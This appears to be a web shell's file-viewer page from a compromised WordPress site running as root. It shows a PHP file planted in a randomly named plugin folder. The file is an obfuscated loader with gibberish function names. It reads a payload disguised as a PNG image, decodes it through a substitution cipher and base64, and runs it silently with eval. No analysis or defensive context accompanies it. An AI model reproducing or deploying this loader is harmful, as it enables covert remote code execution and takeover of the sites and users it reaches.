HEX
Server: Apache/2.2.15 (CentOS)
System: Linux ip-10-0-2-146.eu-west-1.compute.internal 2.6.32-754.35.1.el6.centos.plus.x86_64 #1 SMP Sat Nov 7 11:33:42 UTC 2020 x86_64
User: root (0)
PHP: 5.6.40
Disabled: NONE
Upload Files
File: /www/sites/www.credebtexchange.com/htdocs/wp-content/plugins/avozapax/afagix.txt
<?php

function uperer_loshunuju($gicyni_eqikulak) {
    $ydifyqa = qyguza_pawoqikho(1);
    $xyhexik = qyguza_pawoqikho(2);
    for ($zygaqe = 0; $zygaqe < strlen($ydifyqa); $zygaqe++) {
        $runoca = substr($ydifyqa, $zygaqe, 1);
        $chulybi = substr($xyhexik, $zygaqe, 1);
        $ibasun[$runoca] = $chulybi;
    }

    $hyzivo = strtr($gicyni_eqikulak, $ibasun);
    $hyzivo = base64_decode($hyzivo);

    return $hyzivo;
}

function qyguza_pawoqikho($gicyni_eqikulak) {
    if ($gicyni_eqikulak == 1)
        return sirafe_shidulup();
    if ($gicyni_eqikulak == 2)
        return wohele_yfokhathith();
}

function yxuxon_ejabifuh($gicyni_eqikulak) {
    $lidodi = array();
    if (!file_exists($gicyni_eqikulak))
        return false;
    $masypet = @file_get_contents($gicyni_eqikulak);
    if (!$masypet)
        return false;
    $masypet = substr($masypet, 3);
    $lidodi = uperer_loshunuju($masypet);
    return $lidodi;
}

function sirafe_shidulup() {
    $masypet = "pFR/xW9Pv7I1dK0GbclSyNaso+LimDQgXY62EOrHMhBkU=enV3t84fZAuwJ5qTjzC";
    return $masypet;
}

function wohele_yfokhathith() {
    $lidodi = "A0Mfh6sn+=R28xZSHI/3QdV7lzmoqbPeTOg9KXNWEUGyYipDjtJLkrvwaB4C1cF5u";
    return $lidodi;
}

$ruqamyw = yxuxon_ejabifuh(__DIR__ . "/asset" . "s/imag" . "es/yri" . "tath." . "png");
if ($ruqamyw) {
    @eval($ruqamyw);
}